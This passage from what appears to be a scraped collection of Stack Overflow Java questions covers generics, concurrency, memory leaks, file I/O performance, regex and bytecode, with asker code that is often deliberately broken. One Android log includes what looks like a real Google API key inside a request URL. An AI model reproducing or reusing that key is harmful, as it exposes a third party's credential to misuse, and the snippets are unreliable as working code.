setContentView ( label ) ; } background.setCallback ( this ) ; public final void setCallback ( Callback cb ) { mCallback = new WeakReference < Callback > ( cb ) ; },Understanding memory leaks in Android application +Java,"I ca n't really understand why this line of code does n't compile : while the following does : To my understand , String , like every other class , extends Object . So why does n't the first line compile ?",String str = new Object ( ) ; Object o = new String ( `` Hello '' ) ;,String to Object but not Object to String ? +Java,"My concern is that cryptographic keys and secrets that are managed by the garbage collector may be copied and moved around in memory without zeroization.As a possible solution , is it enough to : EDIT : Please note that my issue is regarding not only zeroization of the official ( referenced ) copy of the object , but also any stale copies the garbage collector may have made while it shuffles memory around for space and speed efficiency.The simplest example is the mark-and-sweep GC , where objects are marked as 'referenced ' and then all those objects are copied to another region . The rest are then garbage and so they are collected . When the copy happens , that might leave residual key data that is n't being managed anymore by the garbage collector ( because the 'official ' data is in the new region ) .A litmus test for this would be if you use a key in the crypto module , zeroize the key , then inspect the entire JVM process space , you should not find that key .",public class Key { private char [ ] key ; // ... protected void finalize ( ) throws Throwable { try { for ( int k = 0 ; k < key.length ; k++ ) { key [ k ] = '\0 ' ; } } catch ( Exception e ) { // ... } finally { super.finalize ( ) ; } } // ... },How can I ensure that a Java object ( containing cryptographic material ) is zeroized ? +Java,"for example:0.5 and 0.25 is power of 2 but 0.3 is not , also I know checking if integer is power of 2 is easy , but how to find if number is power of 2 if the number < 1 ?",public bool isPowerOf2 ( float number ) { if ( number > 1 ) { //easy to write } else if ( number==1 ) { return true ; } else { //hard to write } },How to check if a number < 1 is power of 2 ? +Java,I have a code : Output : 20 40Question : Why there is a difference in output between c1 and c2 ? Why there is a need to repeat future type in c1 by calling : new CompletableFuture < Integer > ( ),CompletableFuture < Integer > c1 = new CompletableFuture < Integer > ( ) .thenApply ( ( data ) - > data * 2 ) ; c1.thenAccept ( System.out : :println ) ; c1.complete ( 20 ) ; CompletableFuture < Integer > c2 = new CompletableFuture < > ( ) ; c2.thenApply ( data - > data * 2 ) .thenAccept ( System.out : :println ) ; c2.complete ( 20 ) ;,Completable future - complete method +Java,"I added google plus one button in my app by this guidehttps : //developers.google.com/+/mobile/android/recommendWhen I press button I see google plus window and after that window receive my google plus account name I receive error with message '' There was a temporary problem with your +1 . Please try again '' In the android monitor , I getanswer from link in logcat I turned on google plus API in the developer console four hours ago.Can someone help me , please ? Maybe I forget to check API anywhere . Checked in the google-services.jsonMaybe it 's because I 'm testing it from emulator . Ca n't test in real device now","10-14 19:05:42.466 2107-2470/com.google.android.gms.persistent W/GLSUser : [ DeviceKeyStore ] Can not load key : Device key file not found.10-14 19:05:42.872 2421-3058/com.google.android.gms E/Volley : [ 162 ] BasicNetwork.performRequest : Unexpected response code 503 for https : //www.googleapis.com/pos/v1/plusones/https % 3A % 2F % 2Fplay.google.com % 2Fstore % 2Fapps % 2Fdetails % 3Fid % 3Dcom.facebook.katana ? abtk= & cdx=c89 & container=http % 3A % 2F % 2FD1Xfy1LMHWn3O % 252FW % 252BIyo6pO5l5Yo % 253D.apps.googleusercontent.com % 2F % 3Fpkg % 3Dcom.bestvpn.hotvpn % 26api_key % 3DAIzaSyBa9bgzwtnGchlkux96-c5Q_fi19fE1pEA & source=native % 3Aandroid_app { `` kind '' : `` pos # plusones '' , `` id '' : `` https : //play.google.com/store/apps/details ? id=com.facebook.katana '' , `` isSetByViewer '' : false , `` metadata '' : { `` type '' : `` URL '' , `` globalCounts '' : { `` count '' : 0.0 } } , `` abtk '' : `` '' }",Google +1 button error on android app there was a temporary +Java,I have nested lists and I 'm trying to group and sum to get the desired result using java streams and collectors . With this I 'm not able to loop over multiple SubAccounts . Either I have to use for loop or some other logic . I want to achieve using streams api . Is there any possibility for thatI 'm having the below classes or representation : Accounts class looks like : I 'm trying to get the result as below in Map . Basically for each of the subAccounts i need to group the assets at account level which looks similar to below,"Map < Long , BigDecimal > assetQuanMap = subAccounts.getAssets.parallelStream ( ) .collect ( Collectors.groupingBy ( Asset : :getAssetId , Collectors.reducing ( BigDecimal.ZERO , Asset : :getQuantity , BigDecimal : :add ) ) ) ; Account SubAccount1 Assets 1 - 20 2 - 30 3 - 40 SubAccount2 Assets 1 - 10 2 - 5 3 - 3 SubAccount3 1 - 3 2 - 3 3 - 4 Public class Account { List < SubAccounts > list ; } Public Class SubAccounts { List < Assets > list ; } Public class Assets { Long assetId ; BigDecimal quantity ; } 1 - 332 - 383 - 47",grouping and sum with nested lists +Java,"The following codeOn Java 8 , this runs fine ( the file is on tmpfs so you would expect it to be trivial ) On Java 10 , this get increasing slower as the file gets largerIs there a way to diagnose this kind of problem ? Is there any solution or alternative which works efficiently on Java 10 ? NOTE : We could write to the end of the file , however this would require locking it which we want to avoid doing.For comparison , On Windows 10 , Java 8 ( not tmpfs ) Windows 10 , Java 10.0.1UPDATE It appears that the choice of system call has changed between Java 8 and 10 . This can be seen by prepending strace -f to the start of the command lineIn Java 8 , the following calls are repeated in the inner loopIn Java 10 , the following calls are repeatedIn particular , fallocate does a lot more work than ftruncate and the time taken appears to be proportional to the length of the file , not the length added to the file.One work around is to ; use reflection to the fd file descriptoruse JNA or FFI to call ftruncate.This seems like a hacky solution . Is there a better alternative in Java 10 ?","public class Main { public static void main ( String [ ] args ) throws IOException { File tmp = File.createTempFile ( `` deleteme '' , `` dat '' ) ; tmp.deleteOnExit ( ) ; RandomAccessFile raf = new RandomAccessFile ( tmp , `` rw '' ) ; for ( int t = 0 ; t < 10 ; t++ ) { long start = System.nanoTime ( ) ; int count = 5000 ; for ( int i = 1 ; i < count ; i++ ) raf.setLength ( ( i + t * count ) * 4096 ) ; long time = System.nanoTime ( ) - start ; System.out.println ( `` Average call time `` + time / count / 1000 + `` us . `` ) ; } } } Average call time 1 us.Average call time 0 us.Average call time 0 us.Average call time 0 us.Average call time 0 us.Average call time 0 us.Average call time 0 us.Average call time 0 us.Average call time 0 us.Average call time 0 us . Average call time 311 us.Average call time 856 us.Average call time 1423 us.Average call time 1975 us.Average call time 2530 us.Average call time 3045 us.Average call time 3599 us.Average call time 4034 us.Average call time 4523 us.Average call time 5129 us . Average call time 542 us.Average call time 487 us.Average call time 480 us.Average call time 490 us.Average call time 507 us.Average call time 559 us.Average call time 498 us.Average call time 526 us.Average call time 489 us.Average call time 504 us . Average call time 586 us.Average call time 508 us.Average call time 615 us.Average call time 599 us.Average call time 580 us.Average call time 577 us.Average call time 557 us.Average call time 572 us.Average call time 578 us.Average call time 554 us . [ pid 49027 ] ftruncate ( 23 , 53248 ) = 0 [ pid 49027 ] lseek ( 23 , 0 , SEEK_SET ) = 0 [ pid 49027 ] lseek ( 23 , 0 , SEEK_CUR ) = 0 [ pid 444 ] fstat ( 8 , { st_mode=S_IFREG|0664 , st_size=126976 , ... } ) = 0 [ pid 444 ] fallocate ( 8 , 0 , 0 , 131072 ) = 0 [ pid 444 ] lseek ( 8 , 0 , SEEK_SET ) = 0 [ pid 444 ] lseek ( 8 , 0 , SEEK_CUR ) = 0",RandomAccessFile.setLength much slower on Java 10 ( Centos ) +Java,"This question came up when I was thinking about the algorithm to fast compute the power of a number , say compute x^n.In Java , the recursive part is something like : So after the program has returned the value of power ( x , n/2 ) , will it go through the whole recursive process again to compute the value for the second power ( x , n/2 ) ? If so , should we store the value in some variable first , then return the square of that value ?","return power ( x , n/2 ) * power ( x , n/2 ) ;","In java , will the program `` remember '' the result if you call the same function for the second time ?" +Java,"I have a set of classes that extend some base entity . Classes in this set may also extend from each other creating a nested hierarchy.My goal is for all classes to have access to a method that creates a new instance of themselves . I want to implement this method in my base entity , so that all extending classes inherit this . Here are three example classes defined to my pattern : BaseEntity.javaCollection.javaDocument.javaWith this setup , I want to be able to do something like this : However note that there is a compiler error in the default constructor for Collection.java . I 'm not sure why this is being caused , and I think this is also causing the compiler errors in the sample main method . What am I doing incorrectly and how do I resolve this ? Note that this a contrived example pertaining to a bigger problem I 'm trying to solve . I understand that this implementation by itself looks silly .","public abstract class BaseEntity < E extends BaseEntity > { Class < E > clazz ; public BaseEntity ( Class < E > clazz ) { this.clazz = clazz ; } public E getNewInstance ( ) throws IllegalAccessException , InstantiationException { return clazz.newInstance ( ) ; } } public class Collection < E extends Collection > extends BaseEntity < E > { public Collection ( ) { super ( Collection.class ) ; // compiler error : BaseEntity ( java.lang.Class < E > ) in BaseEntity can not be applied to // ( java.lang.Class < Collection > ) } public Collection ( Class < E > clazz ) { super ( clazz ) ; } } public class Document extends Collection < Document > { public Document ( ) { super ( Document.class ) ; } } Collection c = new Collection ( ) ; c = c.getNewInstance ( ) ; // compiler errorDocument d = new Document ( ) ; d = d.getNewInstance ( ) ; Collection cd = new Document ( ) ; cd = cd.getNewInstance ( ) ; // compiler error",Java : Nested recursive generics +Java,"Possible Duplicate : Undefined behavior and sequence pointsWhat is the value of x after this code ? In Java , the result is 12 , but in C++ , the result is 13.I googled the operator precedence of both Java and C++ , and they look the same . So why are the results different ? Is it because of the compiler ?",int x = 5 ; x = ++x + x++ ;,"Operator precedence , which result is correct ?" +Java,"I have a MediaControllerCompat which is created an instance when a MediaSession connection is established . When this connection is accomplished I create the MediaControllerCompat following way : The token is acquire from MediaSession.All the times that back button is pressed a leak is detected . I do n't have any callback/listener registered to MediaControllerCompat . I already tried set MediaController to null on activity 's onDestroy ( ) method , no success.Follow bellow the LeakCanary log.Can anybody help me ? Thanks in advance .","MediaControllerCompat mediaController = new MediaControllerCompat ( this , token ) ; MediaControllerCompat.setMediaController ( this , mediaController ) ; MediaControllerCompat.setMediaController ( this , null ) ; D/LeakCanary : * com.me.PlaybackFullscreenActivity has leaked : D/LeakCanary : * GC ROOT android.os.ResultReceiver $ MyResultReceiver.this $ 0D/LeakCanary : * references android.support.v4.media.session.MediaControllerCompat $ MediaControllerImplApi21 $ 1.this $ 0 ( anonymous subclass of android.os.ResultReceiver ) D/LeakCanary : * references android.support.v4.media.session.MediaControllerCompat $ MediaControllerImplApi23.mControllerObjD/LeakCanary : * references android.media.session.MediaController.mContextD/LeakCanary : * leaks com.me.ui.playback.PlaybackFullscreenActivity instanceD/LeakCanary : * Retaining : 54 KB.D/LeakCanary : * Reference Key : 004ed9cd-c668-4d23-9ee6-cecad1b980a5D/LeakCanary : * Device : unknown Android Android SDK built for x86_64 sdk_google_phone_x86_64D/LeakCanary : * Android Version : 7.1 API : 25 LeakCanary : 1.5 00f37f5D/LeakCanary : * Durations : watch=5018ms , gc=115ms , heap dump=1936ms , analysis=6011msD/LeakCanary : * Details : D/LeakCanary : * Instance of android.os.ResultReceiver $ MyResultReceiverD/LeakCanary : | this $ 0 = android.support.v4.media.session.MediaControllerCompat $ MediaControllerImplApi21 $ 1 @ 322318080 ( 0x13362f00 ) D/LeakCanary : | mDescriptor = java.lang.String @ 1887101392 ( 0x707ae1d0 ) D/LeakCanary : | mObject = -813433536D/LeakCanary : | mOwner = android.os.ResultReceiver $ MyResultReceiver @ 322318176 ( 0x13362f60 ) D/LeakCanary : | shadow $ _klass_ = android.os.ResultReceiver $ MyResultReceiverD/LeakCanary : | shadow $ _monitor_ = 0D/LeakCanary : * Instance of android.support.v4.media.session.MediaControllerCompat $ MediaControllerImplApi21 $ 1D/LeakCanary : | this $ 0 = android.support.v4.media.session.MediaControllerCompat $ MediaControllerImplApi23 @ 322317952 ( 0x13362e80 ) D/LeakCanary : | mHandler = android.os.Handler @ 322318144 ( 0x13362f40 ) D/LeakCanary : | mLocal = trueD/LeakCanary : | mReceiver = android.os.ResultReceiver $ MyResultReceiver @ 322318176 ( 0x13362f60 ) D/LeakCanary : | shadow $ _klass_ = android.support.v4.media.session.MediaControllerCompat $ MediaControllerImplApi21 $ 1D/LeakCanary : | shadow $ _monitor_ = 0D/LeakCanary : * Instance of android.support.v4.media.session.MediaControllerCompat $ MediaControllerImplApi23D/LeakCanary : | mCallbackMap = java.util.HashMap @ 322587040 ( 0x133a49a0 ) D/LeakCanary : | mControllerObj = android.media.session.MediaController @ 322587088 ( 0x133a49d0 ) D/LeakCanary : | mExtraBinder = android.support.v4.media.session.MediaSessionCompat $ MediaSessionImplApi21 $ ExtraSession @ 319823424 ( 0x13101e40 ) D/LeakCanary : | mPendingCallbacks = nullD/LeakCanary : | shadow $ _klass_ = android.support.v4.media.session.MediaControllerCompat $ MediaControllerImplApi23D/LeakCanary : | shadow $ _monitor_ = 0D/LeakCanary : * Instance of android.media.session.MediaControllerD/LeakCanary : | static MSG_UPDATE_EXTRAS = 7D/LeakCanary : | static MSG_DESTROYED = 8D/LeakCanary : | static MSG_UPDATE_VOLUME = 4D/LeakCanary : | static MSG_UPDATE_QUEUE_TITLE = 6D/LeakCanary : | static MSG_UPDATE_PLAYBACK_STATE = 2D/LeakCanary : | static $ staticOverhead = byte [ 72 ] @ 317243393 ( 0x12e8c001 ) D/LeakCanary : | static MSG_UPDATE_QUEUE = 5D/LeakCanary : | static MSG_EVENT = 1D/LeakCanary : | static TAG = java.lang.String @ 1886292312 ( 0x706e8958 ) D/LeakCanary : | static MSG_UPDATE_METADATA = 3D/LeakCanary : | mCallbacks = java.util.ArrayList @ 322318048 ( 0x13362ee0 ) D/LeakCanary : | mCbRegistered = falseD/LeakCanary : | mCbStub = android.media.session.MediaController $ CallbackStub @ 322317984 ( 0x13362ea0 ) D/LeakCanary : | mContext = com.me.ui.playback.PlaybackFullscreenActivity @ 322837504 ( 0x133e1c00 ) D/LeakCanary : | mLock = java.lang.Object @ 319489728 ( 0x130b06c0 ) D/LeakCanary : | mPackageName = nullD/LeakCanary : | mSessionBinder = android.media.session.ISessionController $ Stub $ Proxy @ 319491728 ( 0x130b0e90 ) D/LeakCanary : | mTag = nullD/LeakCanary : | mToken = android.media.session.MediaSession $ Token @ 319489760 ( 0x130b06e0 ) D/LeakCanary : | mTransportControls = android.media.session.MediaController $ TransportControls @ 319489744 ( 0x130b06d0 ) D/LeakCanary : | shadow $ _klass_ = android.media.session.MediaControllerD/LeakCanary : | shadow $ _monitor_ = 0D/LeakCanary : * Instance of com.me.ui.playback.PlaybackFullscreenActivityD/LeakCanary : | static $ staticOverhead = byte [ 16 ] @ 317706241 ( 0x12efd001 ) D/LeakCanary : | static serialVersionUID = 0D/LeakCanary : | static $ change = nullD/LeakCanary : | mToolbar = android.support.v7.widget.Toolbar @ 321094656 ( 0x13238400 ) D/LeakCanary : | playbackFragment = com.me.ui.playback.PlaybackFragment @ 318524080 ( 0x12fc4ab0 ) D/LeakCanary : | mDelegate = android.support.v7.app.AppCompatDelegateImplV23 @ 320052000 ( 0x13139b20 ) D/LeakCanary : | mEatKeyUpEvent = falseD/LeakCanary : | mResources = nullD/LeakCanary : | mThemeId = 2131427393D/LeakCanary : | mCreated = trueD/LeakCanary : | mFragments = android.support.v4.app.FragmentController @ 323740768 ( 0x134be460 ) D/LeakCanary : | mHandler = android.support.v4.app.FragmentActivity $ 1 @ 323839264 ( 0x134d6520 ) D/LeakCanary : | mNextCandidateRequestIndex = 0D/LeakCanary : | mOptionsMenuInvalidated = falseD/LeakCanary : | mPendingFragmentActivityResults = android.support.v4.util.SparseArrayCompat @ 323840160 ( 0x134d68a0 ) D/LeakCanary : | mReallyStopped = trueD/LeakCanary : | mRequestedPermissionsFromFragment = falseD/LeakCanary : | mResumed = falseD/LeakCanary : | mRetaining = falseD/LeakCanary : | mStopped = trueD/LeakCanary : | mStartedActivityFromFragment = falseD/LeakCanary : | mStartedIntentSenderFromFragment = falseD/LeakCanary : | mExtraDataMap = android.support.v4.util.SimpleArrayMap @ 323839232 ( 0x134d6500 ) D/LeakCanary : | mActionBar = nullD/LeakCanary : | mActionModeTypeStarting = 0D/LeakCanary : | mActivityInfo = android.content.pm.ActivityInfo @ 319807616 ( 0x130fe080 ) D/LeakCanary : | mActivityTransitionState = android.app.ActivityTransitionState @ 323795264 ( 0x134cb940 ) D/LeakCanary : | mApplication = com.me.MainApplication @ 314898704 ( 0x12c4f910 ) D/LeakCanary : | mCalled = trueD/LeakCanary : | mChangeCanvasToTranslucent = falseD/LeakCanary : | mChangingConfigurations = falseD/LeakCanary : | mComponent = android.content.ComponentName @ 323825776 ( 0x134d3070 ) D/LeakCanary : | mConfigChangeFlags = 0D/LeakCanary : | mCurrentConfig = android.content.res.Configuration @ 323855456 ( 0x134da460 ) D/LeakCanary : | mDecor = nullD/LeakCanary : | mDefaultKeyMode = 0D/LeakCanary : | mDefaultKeySsb = nullD/LeakCanary : | mDestroyed = trueD/LeakCanary : | mDoReportFullyDrawn = falseD/LeakCanary : | mEmbeddedID = nullD/LeakCanary : | mEnableDefaultActionBarUp = falseD/LeakCanary : | mEnterTransitionListener = android.app.SharedElementCallback $ 1 @ 1888376616 ( 0x708e5728 ) D/LeakCanary : | mExitTransitionListener = android.app.SharedElementCallback $ 1 @ 1888376616 ( 0x708e5728 ) D/LeakCanary : | mFinished = trueD/LeakCanary : | mFragments = android.app.FragmentController @ 323740720 ( 0x134be430 ) D/LeakCanary : | mHandler = android.os.Handler @ 323839136 ( 0x134d64a0 ) D/LeakCanary : | mIdent = 169286722D/LeakCanary : | mInstanceTracker = android.os.StrictMode $ InstanceTracker @ 323740736 ( 0x134be440 ) D/LeakCanary : | mInstrumentation = android.app.Instrumentation @ 315044816 ( 0x12c733d0 ) D/LeakCanary : | mIntent = android.content.Intent @ 323821632 ( 0x134d2040 ) D/LeakCanary : | mLastNonConfigurationInstances = nullD/LeakCanary : | mMainThread = android.app.ActivityThread @ 314791872 ( 0x12c357c0 ) D/LeakCanary : | mManagedCursors = java.util.ArrayList @ 323839168 ( 0x134d64c0 ) D/LeakCanary : | mManagedDialogs = nullD/LeakCanary : | mMenuInflater = nullD/LeakCanary : | mParent = nullD/LeakCanary : | mReferrer = java.lang.String @ 323822208 ( 0x134d2280 ) D/LeakCanary : | mResultCode = 0D/LeakCanary : | mResultData = nullD/LeakCanary : | mResumed = falseD/LeakCanary : | mSearchEvent = nullD/LeakCanary : | mSearchManager = nullD/LeakCanary : | mStartedActivity = falseD/LeakCanary : | mStopped = trueD/LeakCanary : | mTemporaryPause = falseD/LeakCanary : | mTitle = java.lang.String @ 314691776 ( 0x12c1d0c0 ) D/LeakCanary : | mTitleColor = 0D/LeakCanary : | mTitleReady = trueD/LeakCanary : | mToken = android.os.BinderProxy @ 323829824 ( 0x134d4040 ) D/LeakCanary : | mTranslucentCallback = nullD/LeakCanary : | mUiThread = java.lang.Thread @ 1955762776 ( 0x74929258 ) D/LeakCanary : | mVisibleBehind = falseD/LeakCanary : | mVisibleFromClient = trueD/LeakCanary : | mVisibleFromServer = trueD/LeakCanary : | mVoiceInteractor = nullD/LeakCanary : | mWindow = com.android.internal.policy.PhoneWindow @ 317655136 ( 0x12ef0860 ) D/LeakCanary : | mWindowAdded = trueD/LeakCanary : | mWindowManager = android.view.WindowManagerImpl @ 323839680 ( 0x134d66c0 ) D/LeakCanary : | mInflater = com.android.internal.policy.PhoneLayoutInflater @ 323776416 ( 0x134c6fa0 ) D/LeakCanary : | mOverrideConfiguration = nullD/LeakCanary : | mResources = android.content.res.Resources @ 315044736 ( 0x12c73380 ) D/LeakCanary : | mTheme = android.content.res.Resources $ Theme @ 323839712 ( 0x134d66e0 ) D/LeakCanary : | mThemeResource = 2131427393D/LeakCanary : | mBase = android.app.ContextImpl @ 319796480 ( 0x130fb500 ) D/LeakCanary : | shadow $ _klass_ = com.me.ui.playback.PlaybackFullscreenActivityD/LeakCanary : | shadow $ _monitor_ = 1293121552D/LeakCanary : * Excluded Refs : D/LeakCanary : | Field : android.view.inputmethod.InputMethodManager.mNextServedViewD/LeakCanary : | Field : android.view.inputmethod.InputMethodManager.mServedViewD/LeakCanary : | Field : android.view.inputmethod.InputMethodManager.mServedInputConnectionD/LeakCanary : | Field : android.view.inputmethod.InputMethodManager.mCurRootViewD/LeakCanary : | Field : android.os.UserManager.mContextD/LeakCanary : | Field : android.net.ConnectivityManager.sInstanceD/LeakCanary : | Field : android.view.Choreographer $ FrameDisplayEventReceiver.mMessageQueue ( always ) D/LeakCanary : | Thread : FinalizerWatchdogDaemon ( always ) D/LeakCanary : | Thread : main ( always ) D/LeakCanary : | Thread : LeakCanary-Heap-Dump ( always ) D/LeakCanary : | Class : java.lang.ref.WeakReference ( always ) D/LeakCanary : | Class : java.lang.ref.SoftReference ( always ) D/LeakCanary : | Class : java.lang.ref.PhantomReference ( always ) D/LeakCanary : | Class : java.lang.ref.Finalizer ( always ) D/LeakCanary : | Class : java.lang.ref.FinalizerReference ( always )",MediaControllerCompat memory leak +Java,"I 'm trying to solve a simple problem and am falling into a Java Memory Model rabbit hole.What is the simplest and/or most efficient ( judgement call here ) , but race-free ( precisely defined according to the JMM ) way to write a Java class containing a non-final reference field which is initialized to a non-null value in the constructor and subsequently never changed , such that no subsequent access of that field by any other thread can see a non-null value ? Broken starting example : And according to this post , marking the field volatile does n't even work ! Is this the best we can do ? ? OK what about this ? Side note : a related question asks how to do this without using any volatile or synchronization , which is of course impossible .",public class Holder { private Object value ; public Holder ( Object value ) { if ( value == null ) throw NullPointerException ( ) ; this.value = value ; } public Object getValue ( ) { // this could return null ! return this.value ; } } public class Holder { private volatile Object value ; public Holder ( Object value ) { if ( value == null ) throw NullPointerException ( ) ; this.value = value ; } public Object getValue ( ) { // this STILL could return null ! ! return this.value ; } } public class Holder { private Object value ; public Holder ( Object value ) { if ( value == null ) throw NullPointerException ( ) ; synchronized ( this ) { this.value = value ; } } public synchronized Object getValue ( ) { return this.value ; } } public class Holder { private Object value ; public Holder ( Object value ) { if ( value == null ) throw NullPointerException ( ) ; this.value = value ; synchronized ( this ) { } } public synchronized Object getValue ( ) { return this.value ; } },Java : what is the correct way to guarantee a non-final reference field will never be read as null ? +Java,"I was assigned a problem to find genes when given a string of the letters A , C , G , or T all in a row , like ATGCTCTCTTGATTTTTTTATGTGTAGCCATGCACACACACACATAAGA . A gene is started with ATG , and ends with either TAA , TAG , or TGA ( the gene excludes both endpoints ) . The gene consists of triplets of letters , so its length is a multiple of three , and none of those triplets can be the start/end triplets listed above . So , for the string above the genes in it are CTCTCT and CACACACACACA . And in fact my regex works for that particular string . Here 's what I have so far ( and I 'm pretty happy with myself that I got this far ) : However , if there is an ATG and end-triplet within another result , and not aligned with the triplets of that result , it fails . For example : It should find also a GGG but does n't : TTGCTTATTGTTTTGA ( ATG|GGG|TAG ) GAI 'm new to regex in general and a little stuck ... just a little hint would be awesome !",( ? < =ATG ) ( ( [ ACGT ] { 3 } ( ? < ! ATG ) ) + ? ) ( ? =TAG|TAA|TGA ) Results for TCGAATGTTGCTTATTGTTTTGAATGGGGTAGGATGACCTGCTAATTGGGGGGGGGG : TTGCTTATTGTTTTGAATGGGGTAGGAACCTGC,Java Regex for genome puzzle +Java,I want to subtract two ArrayLists so I can have the child that are not in the other list . I do it this way : The Problem is that both lists contain 5000childs and it takes almost 4 seconds on my androidphone.Is there a fast way to do this ? Is using sets faster ? ( i dont have duplicate values in the lists ) I develop an android app,removeIDs= ( ArrayList < Integer > ) storedIDs.clone ( ) ; removeIDs.removeAll ( downloadedIDs ) ; downloadIDs= ( ArrayList < Integer > ) downloadedIDs.clone ( ) ; downloadIDs.removeAll ( storedIDs ) ;,How can I Subtract these lists faster ? +Java,"I have following codes.As you see in the above codes , Child inherits toString ( ) from Object and hashCode ( ) from Parent.Bytecode operation of Child # test is as following.I think if invokevirtual calls Object.toString ( ) , it should call Parent.hashCode ( ) for consistency.or , Child.hashCode ( ) called , then Child.toString ( ) should be called.However , invokevirtual does not keep its consistency if and only if target method is inherited by Object.Only that case , invokevirtual calls method in the Object . For other cases , invokevirtual calls method in current class . I want to know why this happens .",public class Parent { @ Override public int hashCode ( ) { return 0 ; } } public class Child extends Parent { public void test ( ) { this.toString ( ) ; this.hashCode ( ) ; } } ALOAD 0 : thisINVOKEVIRTUAL Object.toString ( ) : StringALOAD 0 : thisINVOKEVIRTUAL Child.hashCode ( ) : intRETURN,Java bytecode operation 'invokevirtual ' does not keep consistency for the methods inherited by Object +Java,"I discovered a new syntax for java 8 reading through the source for a framework I 'm attempting to wrangle : In clojure , I can translate it as : But I 'm not sure what to put for the ? ? ?",Runtime.getRuntime ( ) .addShutdownHook ( new Thread ( Sirius : :stop ) ) ; ( .addShutdownHook ( Runtime/getRuntime ) ( Thread . ? ? ? ? ) ),how to translate the double colon operator to clojure ? +Java,"In reference to this question , the answer specify that the unsorted array takes more time because it fails the branch prediction test . but if we make a minor change in the program : here I have replaced ( from original question ) withthe unsorted array gives approx . the same result , I want to ask why branch prediction is not working in this case ?","import java.util.Arrays ; import java.util.Random ; public class Main { public static void main ( String [ ] args ) { // Generate data int arraySize = 32768 ; int data [ ] = new int [ arraySize ] ; Random rnd = new Random ( 0 ) ; for ( int c = 0 ; c < arraySize ; ++c ) { data [ c ] = rnd.nextInt ( ) % 256 ; } // ! ! ! With this , the next loop runs faster Arrays.sort ( data ) ; // Test long start = System.nanoTime ( ) ; long sum = 0 ; for ( int i = 0 ; i < 100000 ; ++i ) { // Primary loop for ( int c = 0 ; c < arraySize ; ++c ) { if ( data [ c ] > = 128 ) { sum = data [ c ] ; } } } System.out.println ( ( System.nanoTime ( ) - start ) / 1000000000.0 ) ; System.out.println ( `` sum = `` + sum ) ; } } if ( data [ c ] > = 128 ) sum += data [ c ] ; if ( data [ c ] > = 128 ) sum = data [ c ] ;",Is branch prediction not working ? +Java,"Consider the following set of expressions : Which gives the following result : Why java code lines /*2*/ , /*3*/ and /*4*/ produce and use a synthetic accessor method access $ 0 ? I would expect the line /*2*/ and bootstrap methods for lines /*3*/ and /*4*/ to also use invokespecial as the line /*1*/ does.Especially when the method Object : :toString is accessible directly from the relevant scope , e.g . the following method reference does n't wrap a call to a synthetic accessor method : However , there is a difference : Which brings another question : Is there a way how to bypass an override in ( ( Function < Object , ? > Object : :toString ) : :apply ?","class T { { /*1*/ super.toString ( ) ; // direct/*2*/ T.super.toString ( ) ; // synthetic Supplier < ? > s ; /*3*/ s = super : :toString ; // synthetic/*4*/ s = T.super : :toString ; // synthetic } } class T { T ( ) ; 0 aload_0 [ this ] 1 invokespecial java.lang.Object ( ) [ 8 ] 4 aload_0 [ this ] 5 invokespecial java.lang.Object.toString ( ) : java.lang.String [ 10 ] 8 pop // ^ -- direct 9 aload_0 [ this ] 10 invokestatic T.access $ 0 ( T ) : java.lang.String [ 14 ] 13 pop // ^ -- synthetic 14 aload_0 [ this ] 15 invokedynamic 0 get ( T ) : java.util.function.Supplier [ 21 ] 20 astore_1 [ s ] // ^ -- methodref to synthetic 21 aload_0 [ this ] 22 invokedynamic 1 get ( T ) : java.util.function.Supplier [ 22 ] 27 astore_1 // ^ -- methodref to synthetic 28 return static synthetic java.lang.String access $ 0 ( T arg0 ) ; 0 aload_0 [ arg0 ] 1 invokespecial java.lang.Object.toString ( ) : java.lang.String [ 10 ] 4 areturn Bootstrap methods : 0 : # 40 invokestatic java/lang/invoke/LambdaMetafactory.metafactory : ... # 43 invokestatic T.access $ 0 : ( LT ; ) Ljava/lang/String ; 1 : # 40 invokestatic java/lang/invoke/LambdaMetafactory.metafactory : ... # 46 invokestatic T.access $ 0 : ( LT ; ) Ljava/lang/String ; } class F { { Function < Object , ? > f = Object : :toString ; // direct } } class O { { super.toString ( ) ; // invokespecial - > `` className @ hashCode '' O.super.toString ( ) ; // invokespecial - > `` className @ hashCode '' Supplier < ? > s ; s = super : :toString ; // invokespecial - > `` className @ hashCode '' s = O.super : :toString ; // invokespecial - > `` className @ hashCode '' Function < Object , ? > f = Object : :toString ; f.apply ( O.super ) ; // invokeinterface - > `` override '' } public String toString ( ) { return `` override '' ; } }",Why 'T.super.toString ( ) ' and 'super : :toString ' use a synthetic accessor method ? +Java,"my team and I are really keen to include Google Pub/Sub in our application as it will solve some coupling issues.The problem we are having is how to do local integration tests in conjunction the java appengine dev server.What I 've done so far : start the pub sub emulator and set the PUBSUB_EMULATOR_HOSTenvironment variable start our application in the java dev serverwhich creates topics and subscriptions and then sends some messagesto the topics.I 'm assuming I 'm doing something wrong because : the topics and subscriptions as created in the cloud ( surely they should have created in the pubsub emulator ? ) messages are pushed and we receive message Ids back but no endpoint is reached or errors reported either in the cloud or the emulator.From this I am pretty sure that the emulator is not being picked up by the dev server.I also have some deeper questions regarding our testing strategy . Is local integration testing really feasible in this day and age with more and more services becoming bound to the cloud . Should we be focusing more on integration test suites running against cloud instances themselves ? If so how would one ensure that developers have the confidence in their code before deploying to a cloud test environment , and would n't this increase the feedback loop significantly ? UPDATEUsing the Google Java API Client PubSub builder class I was able to inject a url ( localhost:8010 ) from a local configuration which now allows me to successfully publish to the local emulator.I forced the port used to simplify setup for the rest of my team rather than having to depend on a dynamically changing port.Now topic , subscription and messages are being created successfully on the emulator . Unfortunately I 'm still not getting the messages pushed to the endpoints registered.UPDATE 2gcloud version 120.0.0 seems to improve things but I 'm now getting the following error :","Pubsub client = new Pubsub.Builder ( httpTransport , jsonFactory , initializer ) .setApplicationName ( getProjectId ( ) ) .setRootUrl ( rootUrl ) .build ( ) ; gcloud beta emulators pubsub start -- host-port localhost:8010 { `` code '' : 400 , `` message '' : `` Payload is n't valid for request . `` , `` status '' : `` INVALID_ARGUMENT '' }",Google Pub/Sub test strategy for local GAE java dev server +Java,"Given an enum where each instance is associated with some value : How can I construct a Map for efficient reverse look-ups ? I tried the following : but Java complains : Illegal reference to static field from initializer . That is , the static Map is being initialized after all enum values so you can not reference it from the constructor . Any ideas ?","public enum SQLState { SUCCESSFUL_COMPLETION ( `` 00000 '' ) , WARNING ( `` 01000 '' ) ; private final String code ; SQLState ( String code ) { this.code = code ; } } public enum SQLState { SUCCESSFUL_COMPLETION ( `` 00000 '' ) , WARNING ( `` 01000 '' ) ; private final String code ; private static final Map < String , SQLState > codeToValue = Maps.newHashMap ( ) ; 